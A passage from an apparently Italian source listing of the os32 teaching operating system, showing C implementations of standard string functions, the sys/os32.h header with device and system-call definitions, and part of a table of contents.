3680005 {
3680006     size_t i;
3680007     for (i = 0; string[i] != 0 ; i++)
3680008       {
3680009         ; // Just count.
3680010       }
3680011     return i;
3680012 }
```

120.14.16 lib/string/strncat.c

Si veda la sezione 113.106.

```
3690001 #include <string.h>
3690002 //----------------------------------------------------------------------
3690003 char *
3690004 strncat (char *restrict dst, const char *restrict org, size_t n)
3690005 {
3690006     size_t i;
3690007     size_t j;
3690008     for (i = 0; n > 0 && dst[i] != 0; i++)
3690009       {
3690010         ; // Just seek the null character.
3690011       }
3690012     for (j = 0; n > 0 && j < n && org[j] != 0; i++, j++)
3690013       {
3690014         dst[i] = org[j];
3690015       }
3690016     dst[i] = 0;
3690017     return dst;
3690018 }
```

120.14.17 lib/string/strncmp.c

Si veda la sezione 113.108.

```
3700001 #include <string.h>
3700002 //----------------------------------------------------------------------
3700003 int
3700004 strncmp (const char *string1, const char *string2, size_t n)
3700005 {
3700006     size_t i;
3700007     for (i = 0; i < n ; i++)
3700008       {
3700009         if (string1[i] > string2[i])
3700010           {
3700011             return 1;
3700012           }
3700013         else if (string1[i] < string2[i])
3700014           {
3700015             return -1;
3700016           }
3700017         else if (string1[i] == 0 && string2[i] == 0)
3700018           {
3700019             return 0;
3700020           }
3700021       }
3700022     return 0;
3700023 }
```

120.14.18 lib/string/strncpy.c

Si veda la sezione 113.110.

```
3710001 #include <string.h>
3710002 //----------------------------------------------------------------------
3710003 char *
3710004 strncpy (char *restrict dst, const char *restrict org, size_t n)
3710005 {
3710006     size_t i;
3710007     for (i = 0; n > 0 && i < n && org[i] != 0; i++)
3710008       {
3710009         dst[i] = org[i];
3710010       }
3710011     for ( ; n > 0 && i < n; i++)
3710012       {
3710013         dst[i] = 0;
3710014       }
3710015     return dst;
3710016 }
```

120.14.19 lib/string/strpbrk.c

Si veda la sezione 113.118.

```
3720001 #include <string.h>
3720002 //----------------------------------------------------------------------
3720003 char *
3720004 strpbrk (const char *string, const char *accept)
3720005 {
3720006     //
3720007     // The first parameter not 'const char *' because otherwise
3720008     // the return value should be 'const char *' too!
3720009     //
3720010     size_t i;
3720011     size_t j;
3720012     //
3720013     for (i = 0; string[i] != 0; i++)
3720014       {
3720015         for (j = 0; accept[j] != 0; j++)
3720016           {
3720017             if (string[i] == accept[j])
3720018               {
3720019                 return (char *) (string + i);
3720020               }
3720021           }
3720022       }
3720023     return NULL;
3720024 }
```

120.14.20 lib/string/strrchr.c

Si veda la sezione 113.107.

```
3730001 #include <string.h>
3730002 //----------------------------------------------------------------------
3730003 char *
3730004 strrchr (const char *string, int c)
3730005 {
3730006     int i;
3730007     for (i = strlen (string); i >= 0; i--)
3730008       {
3730009         if (string[i] == (char) c)
3730010           {
3730011             break;
3730012           }
3730013       }
3730014     if (i < 0)
3730015       {
3730016         return NULL;
3730017       }
3730018     else
```

```
3730019         {
3730020           return (char *) (string + i);
3730021         }
3730022 }
```

120.14.21 lib/string/strspn.c

Si veda la sezione 113.120.

```
3740001 #include <string.h>
3740002 //----------------------------------------------------------------------
3740003 size_t
3740004 strspn (const char *string, const char *accept)
3740005 {
3740006     size_t i;
3740007     size_t j;
3740008     int found;
3740009     for (i = 0; string[i] != 0; i++)
3740010       {
3740011         for (j = 0, found = 0; accept[j] != 0; j++)
3740012           {
3740013             if (string[i] == accept[j])
3740014               {
3740015                 found = 1;
3740016                 break;
3740017               }
3740018           }
3740019         if (!found)
3740020           {
3740021             break;
3740022           }
3740023       }
3740024     return i;
3740025 }
```

120.14.22 lib/string/strstr.c

Si veda la sezione 113.121.

```
3750001 #include <string.h>
3750002 //----------------------------------------------------------------------
3750003 char *
3750004 strstr (const char *string, const char *substring)
3750005 {
3750006     size_t i;
3750007     size_t j;
3750008     size_t k;
3750009     int found;
3750010     if (substring[0] == 0)
```

```
3750011         {
3750012           return (char *) string;
3750013         }
3750014       for (i = 0, j = 0, found = 0; string[i] != 0; i++)
3750015         {
3750016           if (string[i] == substring[0])
3750017             {
3750018               for (k = i, j = 0;
3750019                    string[k] == substring[j] &&
3750020                    string[k] != 0            &&
3750021                    substring[j] != 0;
3750022                    j++, k++)
3750023                 {
3750024                   ;
3750025                 }
3750026               if (substring[j] == 0)
3750027                 {
3750028                   found = 1;
3750029                 }
3750030             }
3750031           if (found)
3750032             {
3750033               return (char *) (string + i);
3750034             }
3750035         }
3750036       return NULL;
3750037   }
```

120.14.23 lib/string/strtok.c

Si veda la sezione 113.122.

```
3760001   #include <string.h>
3760002   //----------------------------------------------------------------------
3760003   char *
3760004   strtok (char *restrict string, const char *restrict delim)
3760005   {
3760006       static char *next = NULL;
3760007       size_t i = 0;
3760008       size_t j;
3760009       int found_token;
3760010       int found_delim;
3760011       //
3760012       // If the string received a the first parameter is a null pointer,
3760013       // the static pointer is used. But if it is already NULL,
3760014       // the scan cannot start.
3760015       //
3760016       if (string == NULL)
3760017         {
3760018           if (next == NULL)
3760019             {
```

```
3760020                 return NULL;
3760021               }
3760022             else
3760023               {
3760024                 string = next;
3760025               }
3760026           }
3760027         //
3760028         // If the string received as the first parameter is empty, the scan
3760029         // cannot start.
3760030         //
3760031         if (string[0] == 0)
3760032           {
3760033             next = NULL;
3760034             return NULL;
3760035           }
3760036         else
3760037           {
3760038             if (delim[0] == 0)
3760039               {
3760040                 return string;
3760041               }
3760042           }
3760043         //
3760044         // Find the next token.
3760045         //
3760046         for (i = 0, found_token = 0, j = 0;
3760047              string[i] != 0 && (!found_token); i++)
3760048           {
3760049             //
3760050             // Look inside delimiters.
3760051             //
3760052             for (j = 0, found_delim = 0; delim[j] != 0; j++)
3760053               {
3760054                 if (string[i] == delim[j])
3760055                   {
3760056                     found_delim = 1;
3760057                   }
3760058               }
3760059             //
3760060             // If current character inside the string is not a delimiter,
3760061             // it is the start of a new token.
3760062             //
3760063             if (!found_delim)
3760064               {
3760065                 found_token = 1;
3760066                 break;
3760067               }
3760068           }
3760069         //
3760070         // If a token was found, the pointer is updated.
3760071         // If otherwise the token is not found, this means that
```

```
3760072        // there are no more.
3760073        //
3760074        if (found_token)
3760075          {
3760076            string += i;
3760077          }
3760078        else
3760079          {
3760080            next = NULL;
3760081            return NULL;
3760082          }
3760083        //
3760084        // Find the end of the token.
3760085        //
3760086        for (i = 0, found_delim = 0; string[i] != 0; i++)
3760087          {
3760088            for (j = 0; delim[j] != 0; j++)
3760089              {
3760090                if (string[i] == delim[j])
3760091                  {
3760092                    found_delim = 1;
3760093                    break;
3760094                  }
3760095              }
3760096            if (found_delim)
3760097              {
3760098                break;
3760099              }
3760100          }
3760101        //
3760102        // If a delimiter was found, the corresponding character must be
3760103        // reset to zero. If otherwise the string is terminated, the
3760104        // scan is terminated.
3760105        //
3760106        if (found_delim)
3760107          {
3760108            string[i] = 0;
3760109            next = &string[i+1];
3760110          }
3760111        else
3760112          {
3760113            next = NULL;
3760114          }
3760115        //
3760116        // At this point, the current string represent the token found.
3760117        //
3760118        return string;
3760119    }
```

120.14.24 lib/string/strxfrm.c

Si veda la sezione 113.125.

```
3770001 #include <string.h>
3770002 //----------------------------------------------------------------------
3770003 size_t
3770004 strxfrm (char *restrict dst, const char *restrict org, size_t n)
3770005 {
3770006     size_t i;
3770007     if (n == 0 && dst == NULL)
3770008       {
3770009         return strlen (org);
3770010       }
3770011     else
3770012       {
3770013         for (i = 0; i < n ; i++)
3770014           {
3770015             dst[i] = org[i];
3770016             if (org[i] == 0)
3770017               {
3770018                 break;
3770019               }
3770020           }
3770021         return i;
3770022       }
3770023 }
```

120.15 os32: «lib/sys/os32.h»

Si veda la sezione 116.2.

```
3780001 #ifndef _SYS_OS32_H
3780002 #define _SYS_OS32_H      1
3780003 //----------------------------------------------------------------------
3780004 // This file contains all the declarations that don't have a better
3780005 // place inside standard headers files. Even declarations related to
3780006 // device numbers and system calls is contained here.
3780007 //----------------------------------------------------------------------
3780008 #include <stdint.h>
3780009 //----------------------------------------------------------------------
3780010 // Please remember that system calls should never be used (called)
3780011 // inside the kernel code, because system calls cannot be nested for
3780012 // the os32 simple architecture!
3780013 // If a particular function is necessary inside the kernel, that usually
3780014 // is made by a system call, an appropriate k_...() function must be
3780015 // made, to avoid the problem.
3780016 //----------------------------------------------------------------------
3780017 #include <sys/types.h>
3780018 #include <sys/stat.h>
3780019 #include <stdint.h>
```

```
3780020 #include <signal.h>
3780021 #include <limits.h>
3780022 #include <stdio.h>
3780023 #include <stdint.h>
3780024 #include <stddef.h>
3780025 #include <restrict.h>
3780026 #include <stdarg.h>
3780027 #include <termios.h>
3780028 //----------------------------------------------------------------------
3780029 // Device numbers.
3780030 //----------------------------------------------------------------------
3780031 #define DEV_UNDEFINED_MAJOR      ((dev_t) 0x00)
3780032 #define DEV_UNDEFINED            ((dev_t) 0x0000)
3780033 #define DEV_MEM_MAJOR            ((dev_t) 0x01)
3780034 #define DEV_MEM                  ((dev_t) 0x0101)
3780035 #define DEV_NULL                 ((dev_t) 0x0102)
3780036 #define DEV_PORT                 ((dev_t) 0x0103)
3780037 #define DEV_ZERO                 ((dev_t) 0x0104)
3780038 #define DEV_TTY_MAJOR            ((dev_t) 0x02)
3780039 #define DEV_TTY                  ((dev_t) 0x0200)
3780040 //
3780041 #define DEV_KMEM_MAJOR           ((dev_t) 0x04)
3780042 #define DEV_KMEM_PS              ((dev_t) 0x0401)
3780043 #define DEV_KMEM_MMP             ((dev_t) 0x0402)
3780044 #define DEV_KMEM_SB              ((dev_t) 0x0403)
3780045 #define DEV_KMEM_INODE           ((dev_t) 0x0404)
3780046 #define DEV_KMEM_FILE            ((dev_t) 0x0405)
3780047 #define DEV_CONSOLE_MAJOR        ((dev_t) 0x05)
3780048 #define DEV_CONSOLE              ((dev_t) 0x05FF)
3780049 #define DEV_CONSOLE0             ((dev_t) 0x0500)
3780050 #define DEV_CONSOLE1             ((dev_t) 0x0501)
3780051 #define DEV_CONSOLE2             ((dev_t) 0x0502)
3780052 #define DEV_CONSOLE3             ((dev_t) 0x0503)
3780053 #define DEV_CONSOLE4             ((dev_t) 0x0504)
3780054 //
3780055 #define DEV_DM_MAJOR             ((dev_t) 0x08)
3780056 #define DEV_DM00                 ((dev_t) 0x0800)
3780057 #define DEV_DM01                 ((dev_t) 0x0801)
3780058 #define DEV_DM02                 ((dev_t) 0x0802)
3780059 #define DEV_DM03                 ((dev_t) 0x0803)
3780060 #define DEV_DM04                 ((dev_t) 0x0804)
3780061 #define DEV_DM10                 ((dev_t) 0x0810)
3780062 #define DEV_DM11                 ((dev_t) 0x0811)
3780063 #define DEV_DM12                 ((dev_t) 0x0812)
3780064 #define DEV_DM13                 ((dev_t) 0x0813)
3780065 #define DEV_DM14                 ((dev_t) 0x0814)
3780066 #define DEV_DM20                 ((dev_t) 0x0820)
3780067 #define DEV_DM21                 ((dev_t) 0x0821)
3780068 #define DEV_DM22                 ((dev_t) 0x0822)
3780069 #define DEV_DM23                 ((dev_t) 0x0823)
3780070 #define DEV_DM24                 ((dev_t) 0x0824)
3780071 #define DEV_DM30                 ((dev_t) 0x0830)
```

```
3780072 #define DEV_DM31                ((dev_t) 0x0831)
3780073 #define DEV_DM32                ((dev_t) 0x0832)
3780074 #define DEV_DM33                ((dev_t) 0x0833)
3780075 #define DEV_DM34                ((dev_t) 0x0834)
3780076 //
3780077 //----------------------------------------------------------------------
3780078 #define min(a, b) (a < b ? a : b)
3780079 #define max(a, b) (a > b ? a : b)
3780080 //----------------------------------------------------------------------
3780081 #define INPUT_LINE_HIDDEN 0
3780082 #define INPUT_LINE_ECHO   1
3780083 //----------------------------------------------------------------------
3780084 #define MOUNT_DEFAULT     0  // Default mount options.
3780085 #define MOUNT_RO          1  // Read only mount option.
3780086 //----------------------------------------------------------------------
3780087 #define SYS_0                    0  // Nothing to do.
3780088 #define SYS_CHDIR                1
3780089 #define SYS_CHMOD                2
3780090 #define SYS_CLOCK                3
3780091 #define SYS_CLOSE                4
3780092 #define SYS_EXEC                 5
3780093 #define SYS_EXIT                 6  // [1] see below.
3780094 #define SYS_FCHMOD               7
3780095 #define SYS_FORK                 8
3780096 #define SYS_FSTAT                9
3780097 #define SYS_KILL                10
3780098 #define SYS_LSEEK               11
3780099 #define SYS_MKDIR               12
3780100 #define SYS_MKNOD               13
3780101 #define SYS_MOUNT               14
3780102 #define SYS_OPEN                15
3780103 #define SYS_PGRP                16
3780104 #define SYS_READ                17
3780105 #define SYS_SETEUID             18
3780106 #define SYS_SETUID              19
3780107 #define SYS_SIGNAL              20
3780108 #define SYS_SLEEP               21
3780109 #define SYS_STAT                22
3780110 #define SYS_TIME                23
3780111 #define SYS_UAREA               24
3780112 #define SYS_UMASK               25
3780113 #define SYS_UMOUNT              26
3780114 #define SYS_WAIT                27
3780115 #define SYS_WRITE               28
3780116 #define SYS_ZPCHAR              29  // [2] see below.
3780117 #define SYS_ZPSTRING            30  // [2]
3780118 #define SYS_CHOWN               31
3780119 #define SYS_DUP                 33
3780120 #define SYS_DUP2                34
3780121 #define SYS_LINK                35
3780122 #define SYS_UNLINK              36
3780123 #define SYS_FCNTL               37
```

```
3780124 #define SYS_STIME              38
3780125 #define SYS_FCHOWN             39
3780126 #define SYS_BRK                40
3780127 #define SYS_SBRK               41
3780128 #define SYS_PIPE               42
3780129 #define SYS_TCGETATTR          43
3780130 #define SYS_TCSETATTR          44
3780131 #define SYS_SETEGID            45
3780132 #define SYS_SETGID             46
3780133 #define SYS_SETJMP             47
3780134 #define SYS_LONGJMP            48
3780135 //
3780136 // [1] The files 'crt0...' need to know the value used for the
3780137 //     exit system call. If this value is modified, all the file
3780138 //     'crt0...' have also to be modified the same way.
3780139 //
3780140 // [2] These system calls were developed at the beginning, when no
3780141 //     standard I/O was available. They are to be considered as a
3780142 //     last resort for debugging purposes.
3780143 //
3780144 //----------------------------------------------------------------------
3780145 typedef struct {
3780146     void        *address;
3780147     int          ret;
3780148     int          errno;
3780149     int          errln;
3780150     char         errfn[PATH_MAX];
3780151 } sysmsg_brk_t;
3780152 //----------------------------------------------------------------------
3780153 typedef struct {
3780154     char         path[PATH_MAX];
3780155     int          ret;
3780156     int          errno;
3780157     int          errln;
3780158     char         errfn[PATH_MAX];
3780159 } sysmsg_chdir_t;
3780160 //----------------------------------------------------------------------
3780161 typedef struct {
3780162     char         path[PATH_MAX];
3780163     mode_t       mode;
3780164     int          ret;
3780165     int          errno;
3780166     int          errln;
3780167     char         errfn[PATH_MAX];
3780168 } sysmsg_chmod_t;
3780169 //----------------------------------------------------------------------
3780170 typedef struct {
3780171     char         path[PATH_MAX];
3780172     uid_t        uid;
3780173     uid_t        gid;
3780174     int          ret;
3780175     int          errno;
```

```
3780176     int           errln;
3780177     char          errfn[PATH_MAX];
3780178 } sysmsg_chown_t;
3780179 //----------------------------------------------------------------------
3780180 typedef struct {
3780181     clock_t       ret;
3780182 } sysmsg_clock_t;
3780183 //----------------------------------------------------------------------
3780184 typedef struct {
3780185     int           fdn;
3780186     int           ret;
3780187     int           errno;
3780188     int           errln;
3780189     char          errfn[PATH_MAX];
3780190 } sysmsg_close_t;
3780191 //----------------------------------------------------------------------
3780192 typedef struct {
3780193     int           fdn_old;
3780194     int           ret;
3780195     int           errno;
3780196     int           errln;
3780197     char          errfn[PATH_MAX];
3780198 } sysmsg_dup_t;
3780199 //----------------------------------------------------------------------
3780200 typedef struct {
3780201     int           fdn_old;
3780202     int           fdn_new;
3780203     int           ret;
3780204     int           errno;
3780205     int           errln;
3780206     char          errfn[PATH_MAX];
3780207 } sysmsg_dup2_t;
3780208 //----------------------------------------------------------------------
3780209 typedef struct {
3780210     char          path[PATH_MAX];
3780211     int           argc;
3780212     int           envc;
3780213     char          arg_data[ARG_MAX/2];
3780214     char          env_data[ARG_MAX/2];
3780215     uid_t         uid;
3780216     uid_t         euid;
3780217     int           ret;
3780218     int           errno;
3780219     int           errln;
3780220     char          errfn[PATH_MAX];
3780221 } sysmsg_exec_t;
3780222 //----------------------------------------------------------------------
3780223 typedef struct {
3780224     int           status;
3780225 } sysmsg_exit_t;
3780226 //----------------------------------------------------------------------
3780227 typedef struct {
```

```
3780228     int           fdn;
3780229     mode_t        mode;
3780230     int           ret;
3780231     int           errno;
3780232     int           errln;
3780233     char          errfn[PATH_MAX];
3780234 } sysmsg_fchmod_t;
3780235 //----------------------------------------------------------------------
3780236 typedef struct {
3780237     int           fdn;
3780238     uid_t         uid;
3780239     uid_t         gid;
3780240     int           ret;
3780241     int           errno;
3780242     int           errln;
3780243     char          errfn[PATH_MAX];
3780244 } sysmsg_fchown_t;
3780245 //----------------------------------------------------------------------
3780246 typedef struct {
3780247     int           fdn;
3780248     int           cmd;
3780249     int           arg;
3780250     int           ret;
3780251     int           errno;
3780252     int           errln;
3780253     char          errfn[PATH_MAX];
3780254 } sysmsg_fcntl_t;
3780255 //----------------------------------------------------------------------
3780256 typedef struct {
3780257     pid_t         ret;
3780258     int           errno;
3780259     int           errln;
3780260     char          errfn[PATH_MAX];
3780261 } sysmsg_fork_t;
3780262 //----------------------------------------------------------------------
3780263 typedef struct {
3780264     int           fdn;
3780265     struct stat   stat;
3780266     int           ret;
3780267     int           errno;
3780268     int           errln;
3780269     char          errfn[PATH_MAX];
3780270 } sysmsg_fstat_t;
3780271 //----------------------------------------------------------------------
3780272 typedef struct {
3780273     pid_t         pid;
3780274     int           signal;
3780275     int           ret;
3780276     int           errno;
3780277     int           errln;
3780278     char          errfn[PATH_MAX];
3780279 } sysmsg_kill_t;
```

```
3780280 //----------------------------------------------------------------------
3780281 typedef struct {
3780282     char        path_old[PATH_MAX];
3780283     char        path_new[PATH_MAX];
3780284     int         ret;
3780285     int         errno;
3780286     int         errln;
3780287     char        errfn[PATH_MAX];
3780288 } sysmsg_link_t;
3780289 //----------------------------------------------------------------------
3780290 typedef struct {
3780291     int         fdn;
3780292     off_t       offset;
3780293     int         whence;
3780294     int         ret;
3780295     int         errno;
3780296     int         errln;
3780297     char        errfn[PATH_MAX];
3780298 } sysmsg_lseek_t;
3780299 //----------------------------------------------------------------------
3780300 typedef struct {
3780301     char        path[PATH_MAX];
3780302     mode_t      mode;
3780303     int         ret;
3780304     int         errno;
3780305     int         errln;
3780306     char        errfn[PATH_MAX];
3780307 } sysmsg_mkdir_t;
3780308 //----------------------------------------------------------------------
3780309 typedef struct {
3780310     char        path[PATH_MAX];
3780311     mode_t      mode;
3780312     dev_t       device;
3780313     int         ret;
3780314     int         errno;
3780315     int         errln;
3780316     char        errfn[PATH_MAX];
3780317 } sysmsg_mknod_t;
3780318 //----------------------------------------------------------------------
3780319 typedef struct {
3780320     char        path_dev[PATH_MAX];
3780321     char        path_mnt[PATH_MAX];
3780322     int         options;
3780323     int         ret;
3780324     int         errno;
3780325     int         errln;
3780326     char        errfn[PATH_MAX];
3780327 } sysmsg_mount_t;
3780328 //----------------------------------------------------------------------
3780329 typedef struct {
3780330     char        path[PATH_MAX];
3780331     int         flags;
```

```
3780332     mode_t       mode;
3780333     int          ret;
3780334     int          errno;
3780335     int          errln;
3780336     char         errfn[PATH_MAX];
3780337 } sysmsg_open_t;
3780338 //----------------------------------------------------------------------
3780339 typedef struct {
3780340     int          pipefd[2];
3780341     int          ret;
3780342     int          errno;
3780343     int          errln;
3780344     char         errfn[PATH_MAX];
3780345 } sysmsg_pipe_t;
3780346 //----------------------------------------------------------------------
3780347 typedef struct {
3780348     int          fdn;
3780349     char         buffer[BUFSIZ];
3780350     size_t       count;
3780351     int          eof;
3780352     ssize_t      ret;
3780353     int          errno;
3780354     int          errln;
3780355     char         errfn[PATH_MAX];
3780356 } sysmsg_read_t;
3780357 //----------------------------------------------------------------------
3780358 typedef struct {
3780359     intptr_t     increment;
3780360     void        *ret;
3780361     int          errno;
3780362     int          errln;
3780363     char         errfn[PATH_MAX];
3780364 } sysmsg_sbrk_t;
3780365 //----------------------------------------------------------------------
3780366 typedef struct {
3780367     gid_t        egid;
3780368     int          ret;
3780369     int          errno;
3780370     int          errln;
3780371     char         errfn[PATH_MAX];
3780372 } sysmsg_setegid_t;
3780373 //----------------------------------------------------------------------
3780374 typedef struct {
3780375     uid_t        euid;
3780376     int          ret;
3780377     int          errno;
3780378     int          errln;
3780379     char         errfn[PATH_MAX];
3780380 } sysmsg_seteuid_t;
3780381 //----------------------------------------------------------------------
3780382 typedef struct {
3780383     gid_t        gid;
```

```
3780384     gid_t       egid;
3780385     gid_t       sgid;
3780386     int         ret;
3780387     int         errno;
3780388     int         errln;
3780389     char        errfn[PATH_MAX];
3780390 } sysmsg_setgid_t;
3780391 //----------------------------------------------------------------------
3780392 typedef struct {
3780393     void       *env;
3780394     int         ret;
3780395     //
3780396     // This structure is intentionally reduced.
3780397     //
3780398 } sysmsg_jmp_t;
3780399 //----------------------------------------------------------------------
3780400 typedef struct {
3780401     uid_t       uid;
3780402     uid_t       euid;
3780403     uid_t       suid;
3780404     int         ret;
3780405     int         errno;
3780406     int         errln;
3780407     char        errfn[PATH_MAX];
3780408 } sysmsg_setuid_t;
3780409 //----------------------------------------------------------------------
3780410 typedef struct {
3780411     uintptr_t    wrapper;
3780412     sighandler_t handler;
3780413     int          signal;
3780414     sighandler_t ret;
3780415     int          errno;
3780416     int          errln;
3780417     char         errfn[PATH_MAX];
3780418 } sysmsg_signal_t;
3780419 //----------------------------------------------------------------------
3780420 #define WAKEUP_EVENT_SIGNAL      1    // 1, 2, 4, 8, 16,...
3780421 #define WAKEUP_EVENT_TIMER       2    // so that can be 'OR' combined.
3780422 #define WAKEUP_EVENT_TTY         4    //
3780423 #define WAKEUP_EVENT_PIPE_READ   8    //
3780424 #define WAKEUP_EVENT_PIPE_WRITE 16    //
3780425 typedef struct {
3780426     int          events;
3780427     int          signal;
3780428     unsigned int seconds;
3780429     time_t       ret;
3780430 } sysmsg_sleep_t;
3780431 //----------------------------------------------------------------------
3780432 typedef struct {
3780433     char         path[PATH_MAX];
3780434     struct stat  stat;
3780435     int          ret;
```

```
3780436     int          errno;
3780437     int          errln;
3780438     char         errfn[PATH_MAX];
3780439 } sysmsg_stat_t;
3780440 //----------------------------------------------------------------------
3780441 typedef struct {
3780442     time_t       ret;
3780443 } sysmsg_time_t;
3780444 //----------------------------------------------------------------------
3780445 typedef struct {
3780446     time_t       timer;
3780447     int          ret;
3780448 } sysmsg_stime_t;
3780449 //----------------------------------------------------------------------
3780450 typedef struct {
3780451     int            fdn;
3780452     int            action;
3780453     struct termios attr;
3780454     int            ret;
3780455     int            errno;
3780456     int            errln;
3780457     char           errfn[PATH_MAX];
3780458 } sysmsg_tcattr_t;
3780459 //----------------------------------------------------------------------
3780460 typedef struct {
3780461     uid_t        uid;          // Read user ID.
3780462     uid_t        euid;         // Effective user ID.
3780463     uid_t        suid;         // Saved user ID.
3780464     gid_t        gid;          // Read group ID.
3780465     gid_t        egid;         // Effective group ID.
3780466     gid_t        sgid;         // Saved group ID.
3780467     pid_t        pid;          // Process ID.
3780468     pid_t        ppid;         // Parent PID.
3780469     pid_t        pgrp;         // Process group.
3780470     mode_t       umask;        // Access permission mask.
3780471     char         path_cwd[PATH_MAX];
3780472 } sysmsg_uarea_t;
3780473 //----------------------------------------------------------------------
3780474 typedef struct {
3780475     mode_t       umask;
3780476     mode_t       ret;
3780477 } sysmsg_umask_t;
3780478 //----------------------------------------------------------------------
3780479 typedef struct {
3780480     char         path_mnt[PATH_MAX];
3780481     int          ret;
3780482     int          errno;
3780483     int          errln;
3780484     char         errfn[PATH_MAX];
3780485 } sysmsg_umount_t;
3780486 //----------------------------------------------------------------------
3780487 typedef struct {
```

```
3780488     char         path[PATH_MAX];
3780489     int          ret;
3780490     int          errno;
3780491     int          errln;
3780492     char         errfn[PATH_MAX];
3780493 } sysmsg_unlink_t;
3780494 //----------------------------------------------------------------------
3780495 typedef struct {
3780496     int          status;
3780497     pid_t        ret;
3780498     int          errno;
3780499     int          errln;
3780500     char         errfn[PATH_MAX];
3780501 } sysmsg_wait_t;
3780502 //----------------------------------------------------------------------
3780503 typedef struct {
3780504     int          fdn;
3780505     char         buffer[BUFSIZ];
3780506     size_t       count;
3780507     ssize_t      ret;
3780508     int          errno;
3780509     int          errln;
3780510     char         errfn[PATH_MAX];
3780511 } sysmsg_write_t;
3780512 //----------------------------------------------------------------------
3780513 typedef struct {
3780514     char         c;
3780515 } sysmsg_zpchar_t;
3780516 //----------------------------------------------------------------------
3780517 typedef struct {
3780518     char         string[BUFSIZ];
3780519 } sysmsg_zpstring_t;
3780520 //----------------------------------------------------------------------
3780521 void  input_line   (char *line, char *prompt, size_t size, int type);
3780522 int   mount        (const char *path_dev, const char *path_mnt,
3780523                     int options);
3780524 int   namep        (const char *name, char *path, size_t size);
3780525 void  sys          (int syscallnr, void *message, size_t size);
3780526 int   umount       (const char *path_mnt);
3780527 void  z_perror     (const char *string);
3780528 int   z_printf     (const char *restrict format, ...);
3780529 int   z_vprintf    (const char *restrict format, va_list arg);
3780530 //----------------------------------------------------------------------
3780531 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457

120.1.2 lib/SEEK.h 7457

120.1.3 lib/assert.h 7457

120.1.4 lib/clock_t.h 7458

120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532
120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539
120.9 os32: «lib/pwd.h» 7541
120.9.1 lib/pwd/pwent.c 7548
120.10 os32: «lib/setjmp.h» 7550
120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558
120.11 os32: «lib/signal.h» 7559
120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568
120.12 os32: «lib/stdio.h» 7568
120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588

120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
